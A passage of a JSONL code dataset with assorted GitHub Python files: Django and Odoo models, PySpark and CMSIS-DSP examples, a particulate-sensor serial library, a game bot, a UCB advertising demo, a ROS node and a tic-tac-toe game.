PatientID to the Patient\n \"\"\"\n\n value: uuid.UUID\n\n\nclass Specialization(Activity):\n \"\"\"\n This following class is database structure of Medical Records of Patient.\n \"\"\"\n\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n title = models.CharField(max_length=150)\n\n class Meta:\n verbose_name = \"Specialization\"\n verbose_name_plural = \"Specializations\"\n db_table = \"specialization\"\n\n def __str__(self):\n return self.title\n\n\nclass SpecializationFactory:\n \"\"\"\n This following class is a Factory method of an above-mentioned model.\n \"\"\"\n\n @staticmethod\n def build_entity(id: id, specialization: str) -> Specialization:\n return Specialization(id=id, specialization=specialization)\n\n @classmethod\n def build_entity_with_id(cls, specialization: str) -> Specialization:\n entity_id = SpecializationID(uuid.uuid4())\n return cls.build_entity(id=entity_id, specialization=specialization)\n","repo_name":"KunalCitrusbug/HMS-DRF","sub_path":"HMS/domain/specialization/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22895764478","text":"# -*- coding: utf-8 -*-\n# © 2016 Comunitea - Javier Colmenero \n# © 2017 El Nogal - Pedro Gómez \n# License AGPL-3 - See http://www.gnu.org/licenses/agpl-3.0.html\nfrom openerp import models, fields\n\nCOMPUTE_TYPES = [\n ('analytic', 'Based on partner analytic account'),\n ('invoicing', 'Based on invoicing'),\n ('ratio', 'Based on parent element'),\n ('total_cost', 'Totalizator cost'),\n ('total_margin', 'Totalizator margin'),\n ('total_sale', 'Totalizator sales'),\n ('total_general', 'Totalizator general'),\n ('distribution', 'Distribution over analytic account'),\n]\n\nRATIO_COMPUTE_TYPES = [\n ('fixed', 'Fixed'),\n ('invoicing', 'Compute over invoices'),\n]\n\nCOLUMN_TYPES = [\n ('sales', 'Sales'),\n ('cost', 'Cost'),\n]\n\n\nclass ExpenseType(models.Model):\n _name = 'expense.type'\n\n name = fields.Char('Expense Type', required=True)\n compute_type = fields.Selection(COMPUTE_TYPES,\n string='Compute Type',\n required=True,\n default='analytic')\n journal_ids = fields.Many2many('account.analytic.journal',\n string='Analytic Journals')\n ratio = fields.Float('Ratio')\n analytic_id = fields.Many2one('account.analytic.account',\n 'Analytic Account')\n ratio_compute_type = fields.Selection(RATIO_COMPUTE_TYPES,\n string='Ratio Compute Type',\n default='fixed')\n company_id = fields.Many2one('res.company', 'Company',\n default=lambda self:\n self.env['res.company'].\n _company_default_get('expense.type'))\n product_ids = fields.Many2many('product.product',\n string='Products')\n categ_id = fields.Many2one('product.category', 'Product Category')\n restrict_partner = fields.Boolean('Only analytic moves of customer', \n help='If check, only the analytic moves in which the customer '\n 'of the related account move matches the selected customer '\n 'will be considered.')\n col_type = fields.Selection(COLUMN_TYPES,\n string='Column',\n default='cost')\n","repo_name":"Comunitea/external_modules","sub_path":"customer_expense_account/models/expense_type.py","file_name":"expense_type.py","file_ext":"py","file_size_in_byte":2419,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"32783690683","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pyspark\nfrom pyspark import SQLContext\n\n\n# In[2]:\n\n\nsc = pyspark.SparkContext(appName=\"sql\")\n\n\n# In[3]:\n\n\nsqlcontext = SQLContext(sc)\n\n\n# In[4]:\n\n\nsimpleData = [(\"James\", \"Sales\", 3000),\n (\"Michael\", \"Sales\", 4600),\n (\"Robert\", \"Sales\", 4100),\n (\"Maria\", \"Finance\", 3000),\n (\"James\", \"Sales\", 3000),\n (\"Scott\", \"Finance\", 3300),\n (\"Jen\", \"Finance\", 3900),\n (\"Jeff\", \"Marketing\", 3000),\n (\"Kumar\", \"Marketing\", 2000),\n (\"Saif\", \"Sales\", 4100)\n ]\nschema = ['employee_name', 'department', 'salary']\n\ndf = sqlcontext.createDataFrame(data=simpleData, schema = schema)\n\n\n# In[5]:\n\n\ndf.show()\n\n\n# In[14]:\n\n\nfrom pyspark.sql.functions import max\n\n\n# In[16]:\n\n\nmax('salary')\n\n\n# In[17]:\n\n\ndf.select(max('salary')).show()\n\n\n# In[21]:\n\n\n# !jupyter nbconvert --to script 1.sql.ipynb\n\n\n# In[20]:\n\n\n# !/opt/spark/bin/spark-submit \\\n# --master spark://172.20.0.3:7077 \\\n# /home/data/1.sql.py\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"huseinzol05/Gather-Deployment","sub_path":"practice-pyspark/notebook/1.sql.py","file_name":"1.sql.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":348,"dataset":"github-code","pt":"60"} +{"seq_id":"12908313558","text":"\"\"\"\nExample of how to use setuptools\n\"\"\"\n\n__version__ = \"1.0.0\"\n\nfrom setuptools import setup, find_packages\n\n\n# Read description from README file.\ndef long_description():\n from os import path\n this_directory = path.abspath(path.dirname(__file__))\n with open(path.join(this_directory, 'README.md'), encoding='utf-8') as f:\n return f.read()\n\n\ndef get_depends():\n with open('requirements.txt') as f:\n return f.read().splitlines()\n\n\n# 使用 unittest 测试框架\nimport unittest\ndef get_test_suite():\n test_loader = unittest.TestLoader()\n test_suite = test_loader.discover('tests', pattern='test_*.py')\n return test_suite\n\n\nsetup(\n author='Jeff Wang',\n author_email='jeffwji@test.com',\n name=\"pyutils\",\n long_description=long_description(),\n\n # 命令行：\"python setup.py --version\" 可以获得版本号。\n version=__version__,\n\n ### 指定或排除目录或模块：\n # find_package 想限制查找的访问，以下表示查找除了 tests 和 test 目录之外的所有其他目录下的项目文件。\n packages=find_packages(\n exclude=['tests', 'test']\n ),\n\n install_requires=get_depends(),\n\n # python setup.py test\n test_suite='setup.get_test_suite',\n)\n","repo_name":"hibiup/pyutils","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"17559041034","text":"#!/usr/bin/python3\n#\n# v0.9 ZH03B_lib.py\n# 9/7/2018 Dave Thompson\n#\n# ZH03B Python3 Library\n#\n# Caller needs to keep track of sleep, Q&A modes in use. No state stored.\n# Modify PORT setting below for your specific device entry.\n#\n#\nimport binascii\nimport serial\nimport time\n\nser = serial.Serial(\n port='/dev/ttyUSB1',\n baudrate = 9600,\n parity=serial.PARITY_NONE,\n stopbits=serial.STOPBITS_ONE,\n bytesize=serial.EIGHTBITS,\n timeout=10\n)\n\n\n\nser.flushInput() #flush input buffer\n\ndef HexToByte( hexStr ):\n \"\"\"\n Convert a string hex byte values into a byte string. The Hex Byte values may\n or may not be space separated.\n \"\"\"\n # The list comprehension implementation is fractionally slower in this case\n #\n # hexStr = ''.join( hexStr.split(\" \") )\n # return ''.join( [\"%c\" % chr( int ( hexStr[i:i+2],16 ) ) \\\n # for i in range(0, len( hexStr ), 2) ] )\n\n bytes = []\n\n hexStr = ''.join( hexStr.split(\" \") )\n\n for i in range(0, len(hexStr), 2):\n bytes.append( chr( int (hexStr[i:i+2], 16 ) ) )\n\n return ''.join( bytes )\n\ndef SetQA():\n \"\"\"\n Set ZH03B Question and Answer mode\n Returns: Nothing\n \"\"\"\n ser.write( b\"\\xFF\\x01\\x78\\x41\\x00\\x00\\x00\\x00\\x46\")\n return\n\ndef SetStream():\n \"\"\"\n Set to default streaming mode of readings\n Returns: Nothing\n \"\"\"\n ser.write( b\"\\xFF\\x01\\x78\\x40\\x00\\x00\\x00\\x00\\x47\")\n return\n\ndef QAReadSample():\n \"\"\"\n Q&A mode requires a command to obtain a reading sample\n Returns: int PM1, int PM25, int PM10\n \"\"\"\n\n ser.flushInput() #flush input buffer\n ser.write( b\"\\xFF\\x01\\x86\\x00\\x00\\x00\\x00\\x00\\x79\")\n reading = HexToByte( ((binascii.hexlify(ser.read(2))).hex()) )\n PM25 = int(HexToByte( ((binascii.hexlify(ser.read(2))).hex()) ),16)\n PM10 = int(HexToByte( ((binascii.hexlify(ser.read(2))).hex()) ),16)\n PM1 = int(HexToByte( ((binascii.hexlify(ser.read(2))).hex()) ),16)\n return( PM1, PM25, PM10 )\n\n########\n\ndef DormantMode(pwr_status):\n \"\"\"\n Turn dormant mode on or off. Must be on to measure.\n \"\"\"\n # Turn fan off\n #\n if pwr_status == \"sleep\":\n ser.write( b\"\\xFF\\x01\\xA7\\x01\\x00\\x00\\x00\\x00\\x57\")\n response = HexToByte( ((binascii.hexlify(ser.read(3))).hex()) )\n if response == \"ffa701\":\n ser.flushInput() #flush input buffer\n return (\"FanOFF\")\n else:\n ser.flushInput() #flush input buffer\n return (\"FanERROR\")\n\n\n # Turn fan on\n #\n if pwr_status == \"run\":\n ser.write( b\"\\xFF\\x01\\xA7\\x00\\x00\\x00\\x00\\x00\\x58\")\n response = HexToByte( ((binascii.hexlify(ser.read(2))).hex()) )\n if response == \"ffa701\":\n ser.flushInput() #flush input buffer\n return (\"FanON\")\n else:\n ser.flushInput() #flush input buffer\n return (\"FanERROR\")\n\n\n########\n\ndef ReadSample():\n \"\"\"\n Read exactly one sample from the default mode streaming samples\n \"\"\"\n ser.flushInput() #flush input buffer\n sampled = False\n while not sampled:\n reading = HexToByte( ((binascii.hexlify(ser.read(2))).hex()) )\n if reading == \"424d\":\n sampled = True\n status = ser.read(8)\n PM1 = int(HexToByte( ((binascii.hexlify(ser.read(2))).hex()) ),16)\n PM25 = int(HexToByte( ((binascii.hexlify(ser.read(2))).hex()) ),16)\n PM10 = int(HexToByte( ((binascii.hexlify(ser.read(2))).hex()) ),16)\n return ( PM1, PM25, PM10 )\n else:\n continue\n\n########\n#\n# End File\n#\n","repo_name":"Theoi-Meteoroi/Winsen_ZH03B","sub_path":"Python3/ZH03B_lib.py","file_name":"ZH03B_lib.py","file_ext":"py","file_size_in_byte":3536,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"} +{"seq_id":"69972742593","text":"import cmsisdsp as dsp\nimport cmsisdsp.fixedpoint as f\n\nimport numpy as np\nfrom scipy import signal\nimport matplotlib.pyplot as plt\nimport scipy.fft\n\nimport colorama\nfrom colorama import init,Fore, Back, Style\nfrom numpy.testing import assert_allclose\n\ninit()\n\ndef printTitle(s):\n print(\"\\n\" + Fore.GREEN + Style.BRIGHT + s + Style.RESET_ALL)\n\ndef printSubTitle(s):\n print(\"\\n\" + Style.BRIGHT + s + Style.RESET_ALL)\n\n\ndef chop(A, eps = 1e-6):\n B = np.copy(A)\n B[np.abs(A) < eps] = 0\n return B\n\nnb = 32\nsignal = np.cos(2 * np.pi * np.arange(nb) / nb)*np.cos(0.2*2 * np.pi * np.arange(nb) / nb)\n\nref=scipy.fft.rfft(signal)\ninvref = scipy.fft.irfft(ref)\n\n# Convert ref to CMSIS-DSP format \nreferenceFloat=np.zeros(nb)\n# Replace complex datatype by real datatype\nreferenceFloat[0::2] = np.real(ref)[:-1]\nreferenceFloat[1::2] = np.imag(ref)[:-1]\n# Copy Nyquist frequency value into first \n# sample.This is just a storage trick so that the\n# output of the RFFT has same length as input\n# It is legacy behavior that we need to keep\n# for backward compatibility but it is not\n# very pretty\nreferenceFloat[1] = np.real(ref[-1])\n\nprintTitle(\"RFFT FAST F64\")\n\nprintSubTitle(\"RFFT\")\n\n\nrfftf64=dsp.arm_rfft_fast_instance_f64()\nstatus=dsp.arm_rfft_fast_init_f64(rfftf64,nb)\nresult = dsp.arm_rfft_fast_f64(rfftf64,signal,0)\n\n\nassert_allclose(referenceFloat,result)\n\nprintSubTitle(\"RIFFT\")\n\nrifftf64=dsp.arm_rfft_fast_instance_f64()\nstatus=dsp.arm_rfft_fast_init_f64(rifftf64,nb)\nresult = dsp.arm_rfft_fast_f64(rifftf64,referenceFloat,1)\n\nassert_allclose(invref,result,atol=1e-15)\n\nprintTitle(\"RFFT FAST F32\")\n\nprintSubTitle(\"RFFT\")\n\n\nrfftf32=dsp.arm_rfft_fast_instance_f32()\nstatus=dsp.arm_rfft_fast_init_f32(rfftf32,nb)\nresult = dsp.arm_rfft_fast_f32(rfftf32,signal,0)\n\n\nassert_allclose(referenceFloat,result,rtol=3e-6)\n\nprintSubTitle(\"RIFFT\")\n\nrifftf32=dsp.arm_rfft_fast_instance_f32()\nstatus=dsp.arm_rfft_fast_init_f32(rifftf32,nb)\nresult = dsp.arm_rfft_fast_f32(rifftf32,referenceFloat,1)\n\nassert_allclose(invref,result,atol=1e-7)\n\n# Fixed point\n# Reference from fixed point arithmetric.\n# The RFFT are not packing the Nyquist frequency\n# real value in sample 0\nreferenceFloat=np.zeros(nb+2)\n# Replace complex datatype by real datatype\nreferenceFloat[0::2] = np.real(ref)\nreferenceFloat[1::2] = np.imag(ref)\n\nprintTitle(\"RFFT Q31\")\n\nprintSubTitle(\"RFFT\")\n\nsignalQ31 = f.toQ31(signal)\nrfftQ31=dsp.arm_rfft_instance_q31()\nstatus=dsp.arm_rfft_init_q31(rfftQ31,nb,0,1)\nresultQ31 = dsp.arm_rfft_q31(rfftQ31,signalQ31)\n# Drop the conjugate part which is not computed by scipy\nresultQ31 = resultQ31[:nb+2]\nresultF = f.Q31toF32(resultQ31) * nb\n\nassert_allclose(referenceFloat,resultF,rtol=1e-6,atol=1e-6)\n\n\nprintSubTitle(\"RIFFT\")\n\nrifftQ31=dsp.arm_rfft_instance_q31()\nstatus=dsp.arm_rfft_init_q31(rifftQ31,nb,1,1)\n# Apply CMSIS-DSP scaling\nreferenceQ31 = f.toQ31(referenceFloat / nb) \nresultQ31 = dsp.arm_rfft_q31(rifftQ31,referenceFloat)\nresultF = f.Q31toF32(resultQ31)\n\nassert_allclose(invref,result,atol=1e-6)\n\nprintTitle(\"RFFT Q15\")\n\nprintSubTitle(\"RFFT\")\n\nsignalQ15 = f.toQ15(signal)\nrfftQ15=dsp.arm_rfft_instance_q15()\nstatus=dsp.arm_rfft_init_q15(rfftQ15,nb,0,1)\nresultQ15 = dsp.arm_rfft_q15(rfftQ15,signalQ15)\n# Drop the conjugate part which is not computed by scipy\nresultQ15 = resultQ15[:nb+2]\nresultF = f.Q15toF32(resultQ15) * nb\n\nassert_allclose(referenceFloat,resultF,rtol=1e-6,atol=1e-2)\n\n\nprintSubTitle(\"RIFFT\")\n\nrifftQ15=dsp.arm_rfft_instance_q15()\nstatus=dsp.arm_rfft_init_q15(rifftQ15,nb,1,1)\n# Apply CMSIS-DSP scaling\nreferenceQ15 = f.toQ15(referenceFloat / nb) \nresultQ15 = dsp.arm_rfft_q15(rifftQ15,referenceFloat)\nresultF = f.Q15toF32(resultQ15)\n\nassert_allclose(invref,result,atol=1e-2)\n\n","repo_name":"nnizh131/mltiny","sub_path":"zephyrproject/zephyr/samples/bluetooth/central_hr/src/CMSIS/DSP/PythonWrapper/examples/testrfft_all.py","file_name":"testrfft_all.py","file_ext":"py","file_size_in_byte":3708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22270113360","text":"from colors import green, white, red\nfrom data_base import FootballDB\n\nMENU = \"\\n\\t\\t\\t\\t\\t%sМЕНЮ\\n\" \\\n \"1. Выполнить скалярный запрос \\n\" \\\n \"2. Выполнить запрос с несколькими соединениями (JOIN) \\n\" \\\n \"3. Выполнить запрос с ОТВ(CTE) и оконными функциями \\n\" \\\n \"4. Выполнить запрос к метаданным \\n\" \\\n \"5. Вызвать скалярную функцию \\n\" \\\n \"6. Вызвать многооператорную или табличную функцию \\n\" \\\n \"7. Вызвать хранимую процедуру \\n\" \\\n \"8. Вызвать системную функцию\\n\" \\\n \"9. Создать таблицу в базе данных, соответствующую тематике БД \\n\" \\\n \"10. Выполнить вставку данных в созданную таблицу с использованием инструкции INSERT \\n\" \\\n \"0. Выход \\n\\n\" \\\n \"Команда >> %s\" \\\n % (green, white)\n\n\ndef input_cmd():\n try:\n cmd = int(input(MENU))\n print()\n except ValueError:\n cmd = -1\n\n if cmd < 0 or cmd > 10:\n print(\"%s\\nНомер команды должен быть от 0 до 10! %s\" % (red, white))\n return cmd\n\n\ndef print_table(table):\n if table is not None:\n for row in table:\n print(row)\n\n\ndef main():\n football_db = FootballDB()\n cmd = -1\n\n while cmd != 0:\n cmd = input_cmd()\n if cmd == 1:\n table = football_db.scalar_query()\n elif cmd == 2:\n table = football_db.joins_query()\n elif cmd == 3:\n table = football_db.cte_window_func_query()\n elif cmd == 4:\n table = football_db.metadata_query()\n elif cmd == 5:\n table = football_db.scalar_function_call()\n elif cmd == 6:\n table = football_db.tabular_function_call()\n elif cmd == 7:\n table = football_db.stored_procedure_call()\n elif cmd == 8:\n table = football_db.system_function_call()\n elif cmd == 9:\n table = football_db.create_new_table()\n elif cmd == 10:\n table = football_db.insert_into_new_table()\n else:\n continue\n print_table(table)\n print(\"Программа завершена!\")\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"nikrog/BMSTU_DB_LABS_SEM5","sub_path":"lab_06/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2514,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"1711193867","text":"from random import choice, randint\r\n\r\ndef to_str(pos):\r\n x,y=pos\r\n msgx=str(x)\r\n msgy=str(y)\r\n if x<10:\r\n msgx=\"0\"+msgx\r\n if y<10:\r\n msgy=\"0\"+msgy \r\n return msgx+msgy\r\n\r\ndef go_to_rand(robot,pos):\r\n x,y=pos\r\n x0,y0=robot.GetPosition()\r\n reached_y=False\r\n reached_x=False\r\n\r\n if x0x+1:\r\n dx=4\r\n elif x0==x:\r\n dx=int(choice([2,4]))\r\n else:\r\n reached_x=True\r\n dx=int(choice([2,4]))\r\n if y0y+1:\r\n dy=1\r\n elif y0==y:\r\n dy=int(choice([1,3]))\r\n else:\r\n reached_y = True\r\n dy=int(choice([1,3]))\r\n if reached_x and reached_y:\r\n return randint(1,4)\r\n else:\r\n return int(choice([dx,dy]))\r\n\r\ndef investigate_all(robot):\r\n if \"enemy-base\" in [robot.investigate_up(),robot.investigate_down(),robot.investigate_left(),robot.investigate_right(),robot.investigate_ne(),robot.investigate_nw(),robot.investigate_se(),robot.investigate_sw()]:\r\n return True\r\n else:\r\n return False\r\n\r\n# S1 - USING SYMMERTY TO OUR ADVANTAGE\r\n\r\ndef ActRobot(robot):\r\n \r\n xb=int(robot.GetInitialSignal()[4:6])\r\n yb=int(robot.GetInitialSignal()[6:8])\r\n\r\n if len(robot.GetCurrentBaseSignal())>0:\r\n xeb=int(robot.GetCurrentBaseSignal()[2:4])\r\n yeb=int(robot.GetCurrentBaseSignal()[4:6])\r\n move= go_to_rand(robot,(xeb,yeb))\r\n if move == 0:\r\n robot.DeployVirus(robot.GetVirus())\r\n return 0\r\n else:\r\n return move\r\n if robot.GetInitialSignal()[:2] == \"fr\":\r\n return randint(1,4)\r\n else:\r\n \r\n if not investigate_all(robot):\r\n if robot.GetInitialSignal()[3]==\"H\":\r\n return go_to_rand(robot,(robot.GetDimensionX()-xb-2,yb-1))\r\n elif robot.GetInitialSignal()[3]==\"D\":\r\n return go_to_rand(robot,(robot.GetDimensionX()-xb-2,robot.GetDimensionY()-yb-1))\r\n else:\r\n return go_to_rand(robot,(xb-2,robot.GetDimensionY()-yb-1))\r\n else:\r\n x,y = robot.GetPosition()\r\n if robot.investigate_right()=='enemy-base':\r\n robot.setSignal(\"fd\"+to_str((x+1,y)))\r\n elif robot.investigate_left()=='enemy-base':\r\n robot.setSignal(\"fd\"+to_str((x-1,y)))\r\n elif robot.investigate_up()=='enemy-base':\r\n robot.setSignal(\"fd\"+to_str((x,y-1)))\r\n elif robot.investigate_down()=='enemy-base':\r\n robot.setSignal(\"fd\"+to_str((x,y+1)))\r\n elif robot.investigate_se()=='enemy-base':\r\n robot.setSignal(\"fd\"+to_str((x+1,y+1)))\r\n elif robot.investigate_ne()=='enemy-base':\r\n robot.setSignal(\"fd\"+to_str((x+1,y-1)))\r\n elif robot.investigate_nw()=='enemy-base':\r\n robot.setSignal(\"fd\"+to_str((x-1,y-1)))\r\n elif robot.investigate_sw()=='enemy-base':\r\n robot.setSignal(\"fd\"+to_str((x-1,y+1)))\r\n \r\n return 0\r\n\r\ndef ActBase(base):\r\n \r\n pos=to_str(base.GetPosition())\r\n if len(base.GetListOfSignals())<9:\r\n \r\n for _ in range(3):\r\n base.create_robot(\"ScoH\"+pos) # scouting in horizontal direction\r\n base.create_robot(\"ScoV\"+pos) # scounting in vertical direction\r\n base.create_robot(\"ScoD\"+pos) # scouting in diagonal direction\r\n \r\n for l in base.GetListOfSignals():\r\n if len(l)>0:\r\n if l[1] == \"d\":\r\n base.SetYourSignal(l)\r\n\r\n if base.GetElixir() > 500:\r\n \r\n base.create_robot('frm0'+pos)\r\n\r\n ","repo_name":"Karrthik-Arya/CodeWars_final_game","sub_path":"subm/submi/BotBurners210100087210100172210100120210100059.py","file_name":"BotBurners210100087210100172210100120210100059.py","file_ext":"py","file_size_in_byte":4502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"4394678754","text":"\"\"\"\nIt is a reinforcement learning algorithm which aims to maximize the reward earned when a particular step is taken.\nIt is useful in situations where we would like to select a particular item from a set of N items\ndepending on the actions taken by users/bots. Here, we do not use a training data, but instead carry\nout an experiment for a set period of time and then use the results for selecting the best item.\nFor example, this approach can be used to select the best advertisement logo from a set of similarly\nstyled experiments.\n\n\"\"\"\nimport numpy as np\nimport pandas as pd \nimport matplotlib.pyplot as plt \nimport random \nimport math \n\n#In this example we aim to maximize the reward for advertisements and choose\n#the best advertisement\nprint(\"In this example we aim to maximize the reward for advertisements and choose\"\n\t \" the best advertisement\")\n#We are using a CSV dataset just to mimic the user clicking an Advertisement\n#It is by no means a training data\ndf = pd.read_csv(\"Ads_CTR_Optimisation.csv\")\n\n#The dataset has N rounds for each of the D advertisements\n\n#Let us first try the random selection method\nprint(\"Let us first try the random selection method\")\n\nN = df.shape[0]\nd = df.shape[1]\ntotal_reward = 0\nads_selected = []\nfor n in range(0, N):\n\tad = random.randrange(0, d)\n\tads_selected.append(ad)\n\ttotal_reward = total_reward + df.values[n][ad]\n\nprint(\"Total reward earned by random selection is %s\"%(total_reward))\n#Let us now visualize the results to see which advertisement performed better\nprint(\"Let us now visualize the results to see which advertisement performed better\")\n\nplt.hist(ads_selected)\nplt.title(\"Advertisement selection\")\nplt.xlabel(\"Advertisement\")\nplt.ylabel(\"Frequency of selection\")\nplt.show()\nprint(\"We can see that all the advertisements had similar performance\")\n\n#LEt us maximize it by using UCB\nprint(\"LEt us maximize it by using UCB\")\n\nN = df.shape[0]\nd = df.shape[1]\nsum_of_rewards = [0]*d\nnumber_of_selections = [0]*d #Number of selections of ads till now \ntotal_reward = 0\nads_selected = []\nfor n in range(0, N):\n\tmax_upper_bound = 0\n\tad = 0\n\tfor i in range(0, d):\n\t\tif number_of_selections[i] > 0:\n\t\t\taverage_reward = sum_of_rewards[i] / number_of_selections[i]\n\t\t\t# We use n+1 because index in python start from 0\n\t\t\tdelta_i = math.sqrt( 3/2 * math.log(n+1)/number_of_selections[i])\n\t\t\tupper_bound = average_reward + delta_i\n\t\telse:\n\t\t\tupper_bound = 1e400 #10 to the power of 44\n\t\tif upper_bound > max_upper_bound:\n\t\t\tmax_upper_bound = upper_bound\n\t\t\tad = i\n\n\tads_selected.append(ad)\n\tnumber_of_selections[ad] = number_of_selections[ad] + 1\n\treward = df.values[n][ad]\n\tsum_of_rewards[ad] = sum_of_rewards[ad] + reward\n\ttotal_reward = total_reward + df.values[n][ad]\n\n#We can see that UCB has better total reward than random selection\nprint(\"Total reward earned by UCB is %s\"%(total_reward))\nprint(\"We can see that UCB has better total reward than random selection\")\n\n#Let us now visualize the results to see which advertisement performed better\nprint(\"Let us now visualize the results to see which advertisement performed better\")\n\nplt.hist(ads_selected)\nplt.title(\"Advertisement selection\")\nplt.xlabel(\"Advertisement\")\nplt.ylabel(\"Frequency of selection\")\nplt.show()\n\n#We can now see that 5th advertisement performance better.\n#Python indexes start from 0 and hence (4+1)th advertisement can be selected.\n\nprint(\"We can now see that 5th advertisement performance better.\")","repo_name":"NishanthMHegde/MachineLearning","sub_path":"UpperConfidenceBound/UpperConfidenceBound.py","file_name":"UpperConfidenceBound.py","file_ext":"py","file_size_in_byte":3429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"27332674685","text":"#!/usr/bin/env python\nimport rospy\nfrom std_msgs.msg import String\nrospy.init_node('node2')\npub = rospy.Publisher('/autonomy', String, queue_size=1)\nrate = rospy.Rate(1)\nstr1 = \"Fueled By Autonomy\"\nwhile not rospy.is_shutdown():\n pub.publish(str1)\n rate.sleep()","repo_name":"suneet1212/EP19B033_Abhiyaan_Software","sub_path":"catkin_ws/src/pkg1/scripts/node2.py","file_name":"node2.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"73198797310","text":"import argparse\n\n#Player/Mark ID Enum\nPM_ = 0\nPMX = 1\nPMO = 2\n\n#Player/Mark Str Enum\nPM___STR = '_'\nPM_X_STR = 'X'\nPM_O_STR = 'O'\n\n#Player/Mark ID to Str Array\nPM_ID_TO_STR = [PM___STR, PM_X_STR, PM_O_STR]\n\ndef ParseCommandLineArgs():\n\tprog_desc = ('It\\'s Tic-tac-toe... yup.')\n\tmnk_help = ('Enter 3 numbers separted by spaces, which represent: '\n\t\t'Width of the board, '\n\t\t'Height of the board, '\n\t\t'Number of sequential marks needed to win. '\n\t\t'Default values are: 3 3 3')\n\t\n\tparser = argparse.ArgumentParser(description = prog_desc)\n\tparser.add_argument('--mnk', '-n', nargs = 3, type = int, help = mnk_help)\n\tparser.set_defaults(mnk = [3, 3, 3])\n\t\n\targs = parser.parse_args()\n\t(width, height, n) = (args.mnk[0], args.mnk[1], args.mnk[2])\n\t\n\tif width <= 0 or height <= 0 or n <= 0:\n\t\tprint('Width, height, and num arguments must be at least 1.')\n\t\treturn None\n\t\n\treturn (width, height, n)\n\ndef BoardHasEmptySpaces(board):\n\tfor row in board:\n\t\tfor space in row:\n\t\t\tif space == PM_:\n\t\t\t\treturn True\n\treturn False\n\ndef GetNumDigits(x):\n\treturn len(str(x))\n\ndef PrintBoard(board):\n\t#print the board, and the coordinates of each space\n\tnum_digits_in_height = GetNumDigits(len(board) - 1)\n\ttop_str = ' '*(num_digits_in_height + 1) + ' '.join(map(str, list(range(len(board[0])))))\n\tprint(top_str)\n\t\n\tfor i, row in enumerate(board):\n\t\tnum_digits_in_i = GetNumDigits(i)\n\t\tline_str = str(i) + ' '*(num_digits_in_height + 1 - num_digits_in_i)\n\t\tfor j, mark in enumerate(row):\n\t\t\tnum_digits_in_j = GetNumDigits(j)\n\t\t\tline_str += ' '*(num_digits_in_j - 1) + PM_ID_TO_STR[mark] + ' '\n\t\t\n\t\tprint(line_str)\n\ndef CoordIsOutOfBounds(board, row_idx, col_idx):\n\treturn row_idx < 0 or row_idx >= len(board) or col_idx < 0 or col_idx >= len(board[0])\n\ndef RetrieveCoords(board):\n\tplayer_input = None\n\tinput_is_valid = False\n\tsyntax_help_str = 'Please enter input in the form of \"x,y\", where x and y are integers representing the row and column coordinates, respectively.'\n\tplacement_help_str = 'Coordinates are either out of range or the spot has already been marked. Please choose a different coordinate.'\n\t\n\twhile not input_is_valid:\n\t\tplayer_input = input('Enter Coordinates: ').strip().split(',')\n\t\t\n\t\tif len(player_input) != 2:\n\t\t\tprint(syntax_help_str)\n\t\t\tcontinue\n\t\t\n\t\ttry:\n\t\t\tplayer_input = (int(player_input[0]), int(player_input[1]))\n\t\texcept ValueError:\n\t\t\tprint(syntax_help_str)\n\t\t\tcontinue\n\t\t\n\t\tif CoordIsOutOfBounds(board, player_input[1], player_input[0]) or board[player_input[1]][player_input[0]] != PM_:\n\t\t\tprint(placement_help_str)\n\t\t\tcontinue\n\t\t\n\t\tinput_is_valid = True\n\t\n\treturn player_input\n\ndef PlayerHasMatchedThisPattern(board, n, row_inc, col_inc):\n\tfor row_idx in range(len(board)):\n\t\tfor col_idx in range(len(board[0])):\n\t\t\tpattern_matched = True\n\t\t\tif board[row_idx][col_idx] == PM_ or CoordIsOutOfBounds(board, row_idx + (n-1)*row_inc, col_idx + (n-1)*col_inc):\n\t\t\t\tcontinue\n\t\t\t\n\t\t\tfor i in range(1, n):\n\t\t\t\tif board[row_idx + i*row_inc][col_idx + i*col_inc] != board[row_idx + (i-1)*row_inc][col_idx + (i-1)*col_inc]:\n\t\t\t\t\tpattern_matched = False\n\t\t\t\t\tbreak\n\t\t\t\n\t\t\tif pattern_matched:\n\t\t\t\treturn board[row_idx][col_idx]\n\t\n\treturn PM_\n\ndef GetWinner(board, n):\n\t#horizontal check\n\tplayer = PlayerHasMatchedThisPattern(board, n, 0, 1)\n\tif player != PM_:\n\t\treturn player\n\t\n\t#vertical check\n\tplayer = PlayerHasMatchedThisPattern(board, n, 1, 0)\n\tif player != PM_:\n\t\treturn player\n\t\n\t#diagonal up-left to bot-right check\n\tplayer = PlayerHasMatchedThisPattern(board, n, 1, 1)\n\tif player != PM_:\n\t\treturn player\n\t\n\t#diagonal up-right to bot-left check\n\tplayer = PlayerHasMatchedThisPattern(board, n, 1, -1)\n\tif player != PM_:\n\t\treturn player\n\t\n\treturn PM_\n\ndef GameLoop(board, n):\n\twinner = PM_\n\tcurrent_player = PMX\n\t\n\twhile winner == PM_ and BoardHasEmptySpaces(board):\n\t\tprint('\\n' + PM_ID_TO_STR[current_player] + '\\'s turn!\\n')\n\t\tPrintBoard(board)\n\t\tcoords = RetrieveCoords(board)\n\t\tboard[coords[1]][coords[0]] = 